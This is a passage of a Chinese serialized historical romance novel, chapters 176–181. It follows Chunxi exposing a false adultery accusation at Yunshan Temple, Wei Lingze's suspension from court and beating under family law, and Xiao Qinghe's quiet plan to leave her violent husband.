春喜语气疑惑,一脸的无辜,这样子落在卫凌泽眼里比任何的言语都更加充满挑衅意味。 他以为春喜身份低微,之前不过是靠着沈清渊在背后撑腰,狐假虎威。 他以为莫氏一死,沈清渊要丁忧守孝,就有机会下手让春喜为之前的所作所为付出代价。 然而此刻春喜就站在他面前,似乎连头发丝都在嘲笑。 姓卫的,看清楚了吗,我曹春喜可是软柿子? 第176章 猪都不能信的事你们信 因春喜的话,所有人都关注起是谁给卫凌泽报信这件事来. 春喜尚在孝期,萧清禾又是出了名的端庄守矩,这么离谱的消息,到底是经谁的口说出来,卫凌泽才会冲动到亲自来捉奸? 春喜的角度太刁钻,卫凌泽一时没想好该怎么回答,沈清宇又在这时开口:“曹春喜,你少在这里演戏,明明是你故意放出消息说要与卫少夫人一起招妓寻乐引我们来此。” 春喜毫无形象地翻了个大大的白眼。 “三弟,大嫂知道你向来不聪明,但你也不能因为对我有偏见就说出这种蠢话,我出身低下,之前还是给人做丫鬟的,任谁知道我嫁给你大哥那都得夸我家祖坟埋得好,我家祖宗十八代都要感恩戴德,如果真是我放出来这种消息,猪都不能信啊。” 春喜说着捶了两下胸口,一脸的痛心疾首。 恒阳公主被逗得噗嗤一声笑出来。 猪都不能信的事,沈清宇和卫凌泽却信了。 沈少夫人骂人骂得挺巧妙的。 人群中也发出几声笑,沈清宇知道自己的话有些站不住脚,咬牙怒道:“你休想抵赖,小姑可是亲眼看到你与卫少夫人相约的密信,此事做不得假!” 沈金花从未沾过侯府的光,如今有机会在皇亲面前露脸,很是高兴,听到沈清宇提起自己立刻挤开人群上前:“回王爷公主,民妇大字不识一个,根本不知道什么密信啊。” 沈金花这个时候改口,莫芸婉眼皮一跳,意识到不妙。 曹春喜是什么时候收买沈金花的?她怎么一点儿都没有察觉到? 莫芸婉慌了神,沈清宇更是愤怒:“小姑,你来找我们的时候可不是这么说的。” 沈金花理直气壮:“我怎么说得不一样了?连你爹都不认识几个字,我能识字吗?你读了这么多年的圣贤书都读到狗肚子里去了,你媳妇儿说什么你就信什么,最后还要拉我来替你媳妇儿顶罪,你还有良心吗?” 沈金花完全否认了自己刚刚的话,又用长辈的语气教训沈清宇。 “老三啊,不是小姑说你,你大哥已经分家,你大嫂回侯府来是出于一片孝心为你娘守孝的,这几日她跟我和你祖母住在一个院中,一日三餐都是喝的白粥,你娘昨夜都被感动到给她托梦了,你这个做儿子的还只知道争来斗去,也不知道反思一下你娘为什么不给你托梦!” 沈清宇:“……”??? 我娘托梦就不能是亡魂不安去找她索命的? 沈清宇还想要辩解,春喜适时开口不让两人把话题带偏:“所以是三弟妹通知的卫大少爷吗?不知三弟妹是何时与卫大少爷相识的,又是如何取得卫大少爷信任,让卫大少爷相信如此离谱的消息的?” 春喜充满了对真相的渴望,然而说出来的话却很容易让人联想。 莫芸婉一个后宅妇人,怎会与卫凌泽相熟,而且熟到她说春喜和萧清禾招妓,卫凌泽就相信了? 所有人的目光都落到莫芸婉身上,莫芸婉只觉得如芒在背,她没想到事情会变成这样。 从徐州开始,便有神秘人一直在暗中帮助她,她需要做的就是不断搞事针对春喜,破坏春喜和沈清渊的感情。 这次分家她险些失去利用价值,好在莫氏一死,春喜迫于孝道又回了侯府。 这次的消息来得太顺利,她也有些怀疑,但为了证明自己的价值,她还是第一时间把消息传递出去,但她并未打算亲自来捉奸,只是想让沈清渊知道,种下怀疑的种子。 万一神秘人真的把春喜捉奸在床,到时就能一举除掉春喜,可她没想到沈清渊直接带着她们来了云山寺,更没想到卫凌泽会来捉奸,还惹怒了瑛王和恒阳公主。 是神秘人通知卫凌泽来的,还是卫凌泽就是那个一直暗中派人帮她的神秘人? 莫芸婉一时摸不清头绪,更不知该如何回答。 春喜还想继续诱导,卫凌泽突然冷声喝道:“够了!” 卫凌泽没给莫芸婉开口的机会,看向瑛王和恒阳公主:“微臣受伤瘫痪三年,如今虽然痊愈,心里却很自卑,生怕哪天再睁开眼就站不起来了,更怕内子会因此嫌弃离开,所以经常疑神疑鬼、控制不住猜忌,这才会轻信一些捕风捉影的话,请王爷、公主恕罪。” 卫凌泽把一切都推到自己受伤这件事上。 围观的人里有知道内情的,都露出心疼唏嘘之色,瑛王却没有半点动容,盯着卫凌泽追问:“卫大少爷的意思是,你现在没办法控制自己的情绪,所以才会失控重伤本王的护卫?” 瑛王和恒阳公主带的护卫都是从皇家禁军里挑选的,就算卫家势大,卫凌泽一下子伤了这么多人也是重罪。 要想逃避罪责,只能如此。 卫凌泽咬了咬牙,沉沉道:“是。” 瑛王冷笑:“卫大少爷明知自己现在随时都会失控伤人,却故意隐瞒不报,还在御前供职,真是好大的胆子!” 御前供职本就是要保护陛下安危的,现在卫凌泽却成了潜在的危险,若是陛下深究起来,欺君之罪也不是小事。 卫凌泽立刻屈膝跪下:“请王爷恕罪,微臣平时都能克制,今日实在心急才会如此……” “卫大少爷不必说了,”瑛王直接打断卫凌泽,站起身来,“本王会即刻回宫向皇兄禀明此事,卫大少爷好好想想该怎么跟皇兄交代吧!” 瑛王说完大步离开,岚舒拽了萧夜辰一把,见他不为所动,只能自己跟上瑛王。 等瑛王离开,卫凌泽站起身问恒阳公主:“卫某改日会亲自登门向公主赔罪,眼下公主能不能让卫某带走内子?” “谢罪就不必了,万一卫大少爷到时一个不如意又大开杀戒,本公主可承受不起,”恒阳公主直接拒绝,而后看向萧清禾问,“禾儿可愿意跟他走?” 萧清禾面色平静,颔首道:“回公主,臣妇愿意。” 恒阳公主并未阻拦,等两人离开,复又看向莫芸婉:“所以你跟卫凌泽私下都是怎么联系的?” “……” 这话实在问得让人浮想联翩。 莫芸婉愣了片刻,一头磕在地上,哭得稀里哗啦:“请公主明鉴,臣妇跟卫大少爷私下真的从无联系!” 第177章 你在这儿狗叫什么? 不管恒阳公主问什么,莫芸婉只会哭哭啼啼喊冤枉,哭了一会儿还直接晕死过去。 恒阳公主正要让人用冷水把她泼醒,春喜柔柔开口:“昨夜婆母托梦,说她惨死于三弟妹之手,臣妇待会儿下山就去京兆府击鼓鸣冤,到时京兆府自会查清此案,就不劳公主殿下费神了。” 恒阳公主挑眉。 她和瑛王的身份虽然尊贵,却没有直接给人定罪的权力,她还以为春喜会趁机求自己做主,没想到春喜早就想好了后招,一点儿也不会麻烦她。 胆大却有分寸,不会一味地顺杆往上爬。 这性子,还真合她的胃口。 恒阳公主心里越发的喜欢春喜,沈清宇却像是被踩到痛脚,整个人都炸了:“曹春喜,你在胡说什么,我娘明明是被你气死的,这和婉儿有什么关系?” 春喜冷眼睨着沈清宇:“有没有关系京兆府一查便知,三弟在这儿跟我狗叫做什么?” “你……” 沈清宇想要扑上来打春喜,被云山寺的武僧拦下:“施主今日一直在寺中生事,早已触犯了寺中条例,请施主到戒律堂受罚!” 这话说的是请,沈清宇整个人却直接被架了起来,对春喜的咒骂更甚。 春喜充耳不闻,好奇地凑到恒阳公主身边:“臣妇第一次来云山寺,敢问公主戒律堂的惩罚是什么?” “云山寺戒律上千条,触犯不同的戒律便要到戒律堂接受不同的惩罚,他口出妄言,污人清白,还扰乱佛堂净地,至少要挨二十僧棍,受嘴刑四十,半个月内他恐怕都下不了地,说不了话了。” 春喜听完竖起大拇指:“佛祖英明!” 这云山寺真是块福地啊,她以后得多来拜拜才行。 看完热闹,一众香客都散了,春喜也要赶着下山去京兆府鸣冤,恒阳公主借了两名护卫帮忙把莫芸婉送去京兆府。 “多谢公主,公主殿下真是个好人。” 春喜诚恳道谢,恒阳公主有些恍惚。 多少年没听到这么真心实意的夸赞了,别人都骂她是仗势欺人、离经叛道的毒妇呢 两个护卫轮流扛着莫芸婉走得很快,春喜和沈金花都被甩在后面。 身边没了人,沈金花才凑到春喜身边低声问:“阿喜,你婆母当真是被这个莫芸婉害死的?” 沈金花虽然一直想沾侯府的光得点儿好处,但借她十个胆子,她也不敢谋害莫氏。 而且刚刚面对瑛王和恒阳公主,她连大气都不敢喘,这会儿心都还在砰砰直跳。 她以为春喜说要想办法让莫芸婉露出真面目,只是跟莫芸婉小打小闹一下,怎么也没想到会牵扯进皇家,而且恒阳公主看上去跟春喜还很熟,当年莫氏可都没有这样大的能耐。 斗垮了莫芸婉,春喜真能把萧氏的那些嫁妆还给沈家人吗? 沈金花心有戚戚,心思却不停转换。 春喜温和道:“我也不知道是真是假,但婆母都托梦告诉我了,等京兆府一查便知。” 下山比上山轻松,不过一炷香的时间,两人就来到山脚。 春喜四下搜寻着马车,冷不丁看到沈清渊替代马夫坐在了马车上。 想起他之前的叮嘱,春喜有些心虚,沈金花已大步走了过去:“渊儿,你什么时候下山来的啊,刚刚我想找你都没找到,你都不知道方才的情况有多凶险……” 沈金花爬上马车,把寺里发生的事说了一遍,最后一拍脑门惊呼道:“老三还在戒律堂受罚呢,我和阿喜实在是累坏了,要不渊儿你上去接他吧。” “不用,他自己认得路。” 沈清渊直接拒绝,见春喜磨磨蹭蹭站在旁边,抬眸睨着她:“夫人怎么不上车?” 春喜这才上前,却没有进马车里,而是讨好地陪着沈清渊坐在外面:“夫君怎么也来啦?” 她还以为莫芸婉会找个由头支开沈清渊,只让沈清宇来闹事呢。 “发生了这么大的事,为夫难道不该来吗?” 沈清渊反问,却没看春喜,不等春喜回答,一扬马鞭驾着马车驶离。 惯性让春喜身子后仰,她本能地抱住沈清渊的胳膊,索性不再撒开,凑到他耳边小声解释:“我与夫君分开后,莫芸婉就以守孝的名义让我回侯府去住,侯府如今是她掌管,我出入都不方便,而且暗处还有人盯梢,所以我只能见机行事。” “夫人就不怕我听到什么风言风语,对夫人产生误会?” “夫君断案如神,自然不会被谣言所骗,而且我对夫君一片赤诚,夫君这段时日应该深有体会,对吧?” 春喜趁机冲沈清渊挤眉弄眼,不等沈清渊开口又道:“而且方才在寺里看到莫芸婉,我就猜到是夫君在暗中助我,夫君不仅料事如神,还与我心有灵犀,哪里还需要我专门再找夫君商议?” 春喜的马屁一波接着一波,沈清渊却还是肃着脸把手抽出来:“夫人找不到机会与我商议,却能联系上无忧阁,还有胆子算计瑛王和恒阳公主,为夫可想不到夫人竟有如此通天的本事。” “……夫君,此事说来话长。” “无妨,慢慢说。” “哦。” 春喜细细交待起和岚舒、萧夜辰密谋的经过。 另一边,卫凌泽已带着萧清禾策马疾驰回城。 卫凌泽憋了一路,下马时粗暴地将萧清禾拽下。 进了府,他立刻质问萧清禾:“你知道曹春喜的计划是不是?” 手腕被抓得很疼,萧清禾眼眸冷寒,直直地看着卫凌泽反问:“夫君是指我明知道你在暗中让莫芸婉监视小婶婶的一举一动,故意拉上公主和小婶婶一起演戏,引诱夫君上云山寺捉奸吗?” 春喜能设套害卫凌泽的前提是,他居心不良,先派人暗中监视,况且他若对自己的妻子有信任,也不会落入如此明显的圈套。 可他不信枕边人的爱,也不信枕边人的为人。 萧清禾的眼神清冷,明明语气温和,却带着股子锐利,将卫凌泽心底最隐秘不堪的一面都看透。 卫凌泽寒了脸,加重语气:“现在是我在问你,回答我!” “是,我就是和小婶婶一起联手害你,你满意了吗?” 萧清禾冷声回答,卫凌泽的太阳穴突突地跳了两下,这不是他想要听到的答案。 “不可能,你我夫妻一体,你这样做对你自己也没有好处,而且你那么喜欢我,不可能帮着那个贱人害我,禾儿,你刚刚说的只是气话对不对?” 说到最后,卫凌泽放软语气,希望萧清禾能改变答案。 萧清禾悲悯地盯着他,半晌开口:“卫凌泽,你真的病了。” 第178章 停职休养 瑛王当天就到御前狠狠告了卫凌泽一状,说他发怒时毫无理智,如同疯狗,逮谁咬谁,别说在御前供职,就是出门走动都可能给别人带来危险。 虽然这里面夹带了很多瑛王的个人情绪,但他的考量也是真的。 卫凌泽连自己的枕边人都信不过,并且当时是抱着捉奸的心态伤人的,如果他闯入的不是瑛王的禅院,而是恒阳公主的,两个女眷岂不是可能已经死在了他的剑下? 第二日一早,宫里就来人到卫家宣旨停了卫凌泽的职。 和宫人一起来的还有太医院的御医。 御医细细帮卫凌泽诊治了一番,开了清心静气的药方子,连饮食上都叮嘱要清淡疏躁的,以免上火。 云氏亲自送御医和传旨的宫人出府,给了两人好处后才试探着问:“不知我儿什么时候能复职?” 传旨的宫人立刻道:“这得看卫大少爷什么时候能彻底痊愈了,毕竟御前供职是要保护陛下安危的,容不得半点闪失。” “那孟御医,你觉得我儿什么时候能痊愈?” 云氏当场追问,孟御医叹了口气说:“卫大少爷这情况很特殊,下官也不敢打包票,但只要卫大少爷多修身养性,时日一长,自然能复职。” 卫家与孟御医还是有些交情的,但孟御医都不敢帮卫凌泽打包票说马上就能痊愈,那卫凌泽想要复职就难了。 云氏的心往下沉了沉,负责传旨的宫人有安慰了句:“夫人不必过于忧虑,陛下是很欣赏卫大少爷的才华的,本来瑛王还想治卫大少爷一个隐瞒不报的罪,但陛下念着卫大少爷曾经立下的功劳,不仅没有治罪,还保留了卫大少爷的职位,说明陛下还是很看重卫大少爷的。” 言下之意,陛下没有降罪已是仁至义尽,接下来的日子卫凌泽应该好好在家修养脾性,不要急着想复职的事。 云氏连忙露出感激的表情:“公公说的是,陛下英明神武,卫家感激不尽。” 送走两人,云氏去看了卫凌泽。 院子里的气氛冷凝,气压很低,下人跪了一地,屋里更是一片狼藉,行舟跪在地上,额头被得鲜血淋漓,卫凌泽站在屋里,面容阴鸷,像是一头暴怒的困兽。 哪怕这是自己的亲生儿子,云氏看着也忍不住心颤。 要是让宫里的人看到卫凌泽这副模样,那他这官职怕是都保不住了。 云氏让行舟去找府医包扎伤口,又给院里的下人涨了月钱,屏退众人后才走到卫凌泽面前:“孟御医说了你的身体没什么大碍,只要好好吃药调养就好,发这么大的火做什么?” “既然我的身体没有问题,为什么还要吃药?”卫凌泽反问,不等云氏开口又问,“陛下可有说我什么时候能复职?” “你现在最重要的是好好收敛下自己的脾气,复职的事以后慢慢再说。” 云氏没有给出明确答复,卫凌泽周身的气息都变得狂暴,整个人也肉眼可见的变得嗜血可怖。 “泽儿,你最近的脾气确实很不好,禾儿都被你弄伤了好几次,还有这次也是,你怎么能轻信别人的话去抓禾儿的奸,还冲撞了瑛王……” “够了!”卫凌泽怒吼一声打断云氏,“出去,我要自己单独待一会儿。” 说着话,卫凌泽一脚踹翻了面前的小凳。 他现在正在气头上,什么都听不进去。 云氏抿了抿唇,最终什么都没说,起身去了凌枫院。 凌枫院里,萧清禾正和雀枝一起调香,听说云氏来了,她立刻出门迎接:“母亲。” 萧清禾面容平静,并无任何委屈之色。 云氏握住她的手,叹息道:“禾儿,你受委屈了,泽儿这次真是太不像话了,陛下已经停了他的职,等过两日我就亲自押着他陪你回萧家负荆请罪回来,以后就让他在家好好反省思过,哪儿也不许去!” 云山寺的香客众多,卫凌泽跑去捉奸,还怒杀了瑛王护卫之事早就在瀚京传得沸沸扬扬,就算萧清禾没有回萧家哭诉,萧家也已经全部知晓。 卫凌泽没有实证就跑去捉奸,不仅是不信任萧清禾,更是没把萧家放在眼里,打了萧家的颜面。 萧清禾语气淡淡:“都听母亲安排。” 萧清禾很是乖顺,但自从上次卫凌泽掐了她,她在凌枫院雇了护院后,就把手头所有的事交还给了云氏,这次从云山寺回来,更是窝在凌枫院一步也不往外走,如今听到卫凌泽被停职,也是无动于衷。 继续这样下去,小两口之间的裂痕只会越来越大。 眼下卫凌泽复职遥遥无期,若再失去萧家的支持,那就更难往上走了。 云氏心疼的红了眼,与萧清禾细细说起过去的事。 卫凌泽出身好,却没有纨绔子弟的陋习,从小读书就刻苦用功,习武的时候练出一身的伤也不曾哭闹,后来进校尉营历练更是与那些将士同吃同住,从不开小灶。 原本他年少成名,应该前途无量的,谁知重伤瘫痪,所有的赞美都变成了惋惜。 “受伤之事对泽儿的打击特别大,那时为了治腿,他吃了很多苦,什么法子都试过,可腿就是没有知觉,他站不起来,再也骑不了马舞不了剑,只能躺在床上,连吃喝拉撒都得靠别人帮忙,这比杀了他还要难受。” 虽然卫凌泽现在已经好起来,提起那段过往,云氏还是忍不住落泪。 萧清禾也能理解,她帮云氏擦了擦泪,柔声安慰:“母亲,都过去了,他现在已经好起来了。” 云氏摇头道:“泽儿身上的伤虽然已经好起来了,但心里的伤还在,所以他才会控制不住自己几次伤你,禾儿,算母亲求你,你能不能先放下委屈,好好陪陪他?” “母亲说的陪是想让我像小婶婶之前那样百依百顺、寸步不离地守着他吗?” 春喜是丫鬟,无微不至地照顾卫凌泽是应该的,但萧清禾不一样,她是萧家的掌上明珠,也是卫家明媒正娶的少夫人,她不可能像丫鬟一样时时刻刻哄着卫凌泽。 云氏的动作一顿,说:“倒也不用做到那种地步,我只是想让你多花点时间陪陪他,你们毕竟是夫妻。” 萧清禾点点头:“我可以去陪他,但我要带上护卫一起。” “这怎么能行,”云氏直接拒绝,意识到这样似乎有些绝情,又缓和了语气,“停职对泽儿的打击很大,禾儿带护卫前往会刺激到他的。” “那万一大少爷又伤到少夫人怎么办?” 雀枝忍不住开口,云氏连忙安抚:“不会的,泽儿已经知错,不会再动手伤害禾儿的。” 云氏再三保证,萧清禾没再推辞,等云氏一走,就去看了卫凌泽。 然而没过多久,云氏就收到消息,卫父带人把卫凌泽押去祠堂家法伺候。 云氏赶到祠堂时,卫凌泽已经被打成了血人。 萧清禾垂眸站在一旁,一边脸颊高高肿起。 云氏眼皮一跳,这两人哪里还像夫妻,简直就像是仇人! 第179章 因果循环、报应不爽 “泽儿,你赶紧跟你爹认个错,别撑着了。” 云氏极力劝说,见卫凌泽不为所动,又想劝卫父,却被卫父瞪了一眼:“我早就说了,慈母多败儿,若不是你对他太过溺爱,他也不会承受不住一点儿打击,过去三年你以为我不知道你帮他遮掩了多少事?” 卫凌泽的脾气不是一日两日变成这样的,在春喜之前,凌枫院的下人换了一个又一个,都是云氏暗中花钱摆平的。 后来卫凌泽稍微振作一点儿,又带着春喜出去到处参加宴席,一点儿也不顾及萧清禾和萧家的颜面,卫父想要教训他,每次都被云氏劝下。 如今卫凌泽闯下大祸,丢了官职,还不思悔改,再这么被宠下去,当真是要无法无天了。 云氏越劝卫父越生气,他让下人加重力道,卫凌泽很快被打得晕死过去。 直到卫父松口,云氏立刻让人把卫凌泽抬回凌枫院,又请了回春堂的大夫来。 卫父这次下手很重,卫凌泽伤得不轻,至少一个月内不能下床,而且这几日要特别精心照顾,若是伤口感染发炎,要遭的罪更大。 云氏心疼不已,送走大夫才问萧清禾到底发生了什么。 萧清禾垂着眸,柔柔开口:“我听母亲的话去看望夫君,夫君却觉得我是去看他笑话的,大声吼着让我滚,我不肯滚,夫君就动手打了我,谁知恰好被公公看到,公公就生气动用了家法。” “泽儿怎会如此不知轻重,来人,快拿药膏来给少夫人擦脸,”云氏心疼地看了看萧清禾红肿的脸,而后道,“我知道禾儿你受委屈了,但你公爹已经为你出了气,现在泽儿伤成这样也不会再伤人,这些日子就让他留在凌枫院里养伤可好?” 夫妻俩总是分房睡感情哪能好起来,眼下能借机让他们住在一起,泽儿这顿打也算是没有白挨。 云氏在心里安慰自己,萧清禾没有拒绝,颔首道:“好。” 云氏又守了卫凌泽一会儿,这才抹着泪离开。 确定云氏走远,雀枝才凑到萧清禾身边小声道:“幸好夫人没有怀疑是少夫人故意让奴婢把老爷引过去的,老爷下手也太狠了,若是夫人知道怕是会怨怪少夫人。” 萧清禾看了眼昏迷在床的卫凌泽,幽幽道:“我不愿与她儿子同心,时日一长,免不了会生出怨怼。” 雀枝立刻浮起担忧:“可这也不是少夫人的错呀,是大少爷现在的脾气太捉摸不定了,少夫人在家时那也是金尊玉贵的,总不能一直委屈少夫人去讨好大少爷吧。” 是啊。 卫凌泽不能设身处地的为她着想,她也不能放下自尊一直迁就他,与其日后两相生厌,不如早日分开,还能给彼此留点儿体面。 只是小婶婶都成婚了,他还执着于过去不肯放手,只怕更不会轻易放她离开。 这事得好好筹谋一番才行。 萧清禾心中已有决断,她面上不显,吩咐丫鬟仔细照料卫凌泽,自己去到旁边屋里看书。 卫父打完卫凌泽,又带着云氏亲自去萧家道歉。 虽然两人的诚意很足,姿态也放得很低,萧父和萧夫人的脸色却还是很不好看。 萧夫人心疼地开口:“禾儿这孩子打小就懂事,认准了一个人就绝不回头,我也不怕亲家生气,当初若不是禾儿非要坚持,萧家就不仅仅是推迟婚礼这样简单了,可如今成婚才几个月,卫凌泽就疑心她红杏出墙,这让别人怎么看待禾儿,又让我们萧家的姑娘如何自处?” 事情闹得大,萧家没有去卫家要个说法,还能如此心平气和地跟他们理论,已经是十分忍耐了,所以萧夫人也不怕把话说得难听。 云氏想到卫凌泽的伤,忍不住为他说话:“亲家消消气,我家老爷已经动用家法狠狠罚过泽儿了,他现在还躺在床上昏迷着呢,这次是泽儿不好,但过去那三年对他的打击委实太大,他也是怕自己如今配不上禾儿,才会疑神疑鬼……” 萧夫人听到这话就觉心寒。 云氏在他们面前都能替卫凌泽开脱,私下里还不知道要禾儿如何体谅忍让呢。 思及此,萧夫人忍不住打断云氏:“亲家这是得了便宜还卖乖吗?卫凌泽若真觉得配不上禾儿,过去三年为何不主动退婚,平白害禾儿受了三年的闲言碎语,如今两人已成夫妻,卫凌泽却如此苛待于她,又不是禾儿害他受伤的,凭什么要禾儿和萧家承受这些?” 说到最后,萧夫人声音颤抖,忍不住落泪,她怕自己失态说出更过分的话,匆匆离开。 气氛僵滞,卫父横了云氏一眼,再度道歉,不管怎么说,都是卫家教子无方,才会闹出这样的事,让两家颜面受损,沦为笑话。 萧父比萧夫人冷静,态度却也是强硬的。 卫凌泽若是不能养好脾性,好好对待萧清禾,萧家绝不会眼睁睁地看着女儿在卫家受罪。 听到萧家有断亲和离的意思,卫父和云氏皆是心头一凛,连连保证绝不会再让萧清禾受委屈。 两家聊得并不愉快,萧父没有留客的意思,卫父和云氏待了没多久便起身离开,快走到大门口时,忽然看见春喜在下人的指引下走进来。 尚在孝期,春喜穿得很素,但眉眼带笑,整个人面色红润、活力满满。 云氏已大概了解事情的来龙去脉,见春喜的状态如此好,不由得怒火中烧,她甩开卫父,大步走过去拦住春喜:“沈少夫人尚在孝期,应当谢绝交际,在家好好守孝,怎可踏足别人的府邸,还笑得如此灿烂?” 云氏语气严厉,满脸怒火,威压很强。 若是之前,春喜早该跪下磕头求饶了,然而现在,春喜只是颔首行了一礼,不卑不亢地开口。 “我虽尚在孝期,但京兆府已查明婆母是被人谋害而亡,我笑是因为婆母很快就要沉冤昭雪,另外马上有邻国使臣团来访,陛下特意下令让夫君提前复职,我也因此得以解禁,特来告知舅母这个好消息,卫夫人若还觉得有不妥之处可以直说,我一定虚心受教。” 春喜的话让云氏和卫父都变了脸色。 之前卫凌泽可以说是踩着沈清渊升到御前的,可没多久,沈清渊就升入了御史台,官职比卫凌泽还高。 本来莫氏一死,沈清渊应该停职丁忧三年的,如今却是卫凌泽被停职,不知何日才能起复,沈清渊反而提前复了职。 两相对比,竟像是因果循环,报应不爽! 第180章 夫人还有理了? 松鹤院里,萧老夫人听说沈清渊能提前复职的消息,高兴地笑起:“渊儿沉寂十年,好不容易升入御史台,却又碰上这样的事,我还担心他会受到打击,没想到峰回路转,这么快又复职了,真是太好了。” 萧夫人听说春喜来了,也来到松鹤院,见老夫人高兴,附和着点头:“多亏了阿喜机敏,察觉莫氏是被谋害的,渊儿娶到她真是娶到宝了。” 萧老夫人心里对春喜很满意,当即就要让人去开自己的私库拿些东西给春喜做奖励,春喜先一步跪下:“舅母、表嫂过誉了,其实阿喜今日并非为了报喜,而是来请罪的。” 春喜把云山寺的来龙去脉都说了出来:“我怀疑莫芸婉背后有人,想借机引出幕后之人,所以利用了禾儿和恒阳公主,却没想到侄婿会收到消息来捉奸,害得两家颜面受损,舅母和表嫂要如何处置阿喜都可以。” 春喜其实猜到莫芸婉背后的人是卫凌泽,但当着萧老夫人和萧夫人的面,她不能这样说。 萧老夫人没有立刻开口,萧夫人在片刻的怔愣后上前扶起春喜:“好姑娘,若不是你将事情闹大,禾儿不知道还要受多少委屈,如今人人皆知卫凌泽性情大变、暴躁易怒,若他再不悔改,萧家便是要与卫家和离解除婚约也是占理的。” 世家大族最是爱惜颜面,萧夫人身为当家主母,虽然心疼女儿,但有好多事都不能做,春喜这次把事情捅大,卫凌泽受伤瘫痪一事不再是他可以理所当然要求萧家的利器,反而成了他的污点,这对萧家其实是极有利的。 见萧夫人主动提起和离之事,春喜顺势道:“表嫂如此疼爱禾儿,那有些事我也不瞒着表嫂了。” 春喜的表情难得严肃,萧夫人拉着春喜坐下,萧老夫人也屏退了下人。 安静的屋里,只剩下春喜不疾不徐的声音。 “之前叶家一案,夫君发现颇多蹊跷之处,上次从徐州回来,我和夫君一路上经历了好多次暗杀,夫君这些日子都在暗中调查,如今也有了些眉目,具体细节夫君也未曾告诉我,但那些线索都与卫凌泽有关。” 萧夫人是知道萧老夫人和沈清渊的关系的,听完春喜所言,既惊又怒:“卫凌泽他是疯了吗,禾儿肯定是告诉过他萧家对渊儿有多看重,他为什么要对渊儿下此毒手?” 萧夫人还在震惊之中,萧老夫人却已洞悉了卫凌泽的杀心从何而起。 沈清渊在京兆府这十年很是低调,虽不合群,却也不会主动与人结怨,跟卫凌泽更是没有碰面的机会,两人如今唯一的交集只有春喜。 春喜到底照顾了卫凌泽三年,在她离开之后,卫凌泽恐怕才意识到自己不愿放手。 想到沈清渊近来的变化,萧老夫人暗暗叹了口气,难怪这人突然上进起来,原来是怕被横刀夺爱。 沈清渊和卫凌泽终有一日是要对簿公堂的,若是证据确凿,卫凌泽轻则罢官,重则流放,萧清禾若想不被牵连,得在这之前和离才行。 萧夫人很快想明白这一点,她皱眉道:“且不说禾儿对卫凌泽有多一往情深,就算她愿意和离,卫家恐怕也不会轻易放人。” 卫家若是舍得这门婚事,当初卫凌泽受伤,就主动登门退婚了,何须等到现在? 春喜温声安慰:“其实这件事表嫂无需太担心,只要禾儿对卫凌泽死了心,她自己就会想办法和离,以她的才智,要全身而退应该不难。” 可当局者迷,万一禾儿一直念着旧情不死心呢? 萧夫人还是担心,萧老夫人却笑了起来:“阿喜说得对,禾儿是我看着长大的,她的性子虽然温和柔婉,却不会任人拿捏,她如今撞了南墙,应该比旁观者更清醒。” 萧老夫人阅人无数,很少有看走眼的时候,她的话让萧夫人定下心来,萧夫人又忍不住红了眼。 她的禾儿是多好的姑娘啊,就这么生生被卫凌泽毁了! 从萧家出来,春喜直接回了新宅。 因京兆府查案需要,莫氏的棺椁被挖了出来,沈清渊不用守陵,已经回来了。 离主院还有好远,春喜就闻到了饭菜的香气,她加快步子,一进院,果然看见沈清渊从小厨房出来。 为了方便做饭,沈清渊袖子高高卷起,露出结实有力的小臂,整个人没了在外人面前的冷肃威压,透出两分富有烟火气的人夫感。 不过几日没有住在一起,看到这一幕,春喜的鼻子莫名有些发酸。 她忍不住上前环抱住沈清渊的腰:“夫君可是堂堂三品大臣,怎么还亲自做饭给我吃?” “夫人也是堂堂三品大臣夫人,吃你夫君做的饭是天经地义的事。” 春喜被逗乐,麻溜地洗了手帮着盛饭端菜。 只有他们两个人吃饭,沈清渊做了三菜一汤。 韭菜炒鸡蛋、肝腰合炒、红烧牛肉和枸杞炖羊汤。 春喜看看菜又看看沈清渊,一时欲言又止,沈清渊倒是一脸坦然:“怎么了,这些菜不合夫人的胃口?” 春喜摇头,最终还是问:“夫君是觉得身体有什么不适吗,怎么今日做的都是些补肾壮阳的菜?” “哦?这些菜原来还有如此功效?” 沈清渊挑眉,惊讶都浮于表面,很明显是故意的。 春喜隐隐意识到不对劲,正要转移话题,就见沈清渊把一张纸拍在桌上:“我在房间发现这张菜单,上面都是诸如此类的菜品,我还以为是夫人对为夫不满意呢。” 春喜:“……”!!! 这是她那日去医馆大夫给列的菜单,她刚到家就被莫芸婉叫回了侯府,还没来得及销毁! “夫君,你听我解释,事情是这样的……” 春喜把那日在医馆外面看到卫凌泽和萧清禾的事囫囵说了一遍,急急解释:“我是怕禾儿有事,为了探听消息才随口胡诌的,我对夫君绝对没有任何的不满。” “所以夫人在外污蔑了为夫还觉得自己很有道理?” “……” 都说小别胜新婚,更何况是占据正义还吃了那么多菜的沈清渊。 春喜感觉自己像个面团,被翻来覆去、摊平搓圆,最后连自己是睡过去的还是昏过去的都分不清了。 体力消耗太大,第二日春喜直接睡了个天昏地暗,对院里发生的事丝毫不知。 第181章 夫人可是不满意? 沈清渊和往常一样起了个大早,他刚熬上粥,沈清越就来了。 “眼下府里无人管事,三弟在云山寺受了罚,如今重伤在床,身边连个照顾的人都没有,大哥和大嫂能不能先回家住一段时日?” 捉奸那日沈清越去了云氏族学,回来以后才知道出了大事。 清远侯向来是不管事的,吴氏和沈金花还有沈家的几位叔伯张口闭口都是钱,还拐着弯儿地骂他们莫家根上不正,短短几日,沈清越憔悴了不少,只能来求沈清渊。 锅里已经烧开,沈清渊搅了搅粥,淡淡开口:“不能。” “大哥,我们毕竟还是一家人……” 沈清越试图打感情牌,然而刚起了个头,就被沈清渊冷冰冰的声音打断:“我以为这些年读了那么多书,你能说出点儿人话。” 这话直白又伤人,沈清越脸上火辣辣的,打了满腹的草稿却再说不出一个字来。 这些年外人不知沈清渊过的是什么日子,他们却是再清楚不过,春喜嫁入侯府后,也从来没有得到过尊重,沈清宇甚至还听信莫芸婉的撺掇跑到云山寺去捉奸。 现在凭什么要求大哥大嫂回侯府收拾烂摊子呢? 沈清越的脸皮到底不如沈清宇厚,被沈清渊怼了一句,便无地自容,匆匆道了句歉落荒而逃。 沈清越前脚刚走,沈金花和沈家的三位叔伯就来了。 进到院子,没见到春喜的身影,反而是沈清渊在熬粥,几人立刻发表不满:“渊儿,你可是堂堂三品大臣,是要干大事的人,怎么能围着灶台转呢,人家都说了君子要远庖厨啊。” “你媳妇儿人呢?这些事该她来做才是,果然是小门小户出身,连为人妻最基本的规矩都不懂,我在家这些年,连洗脚水都是你二婶给我端来的。” 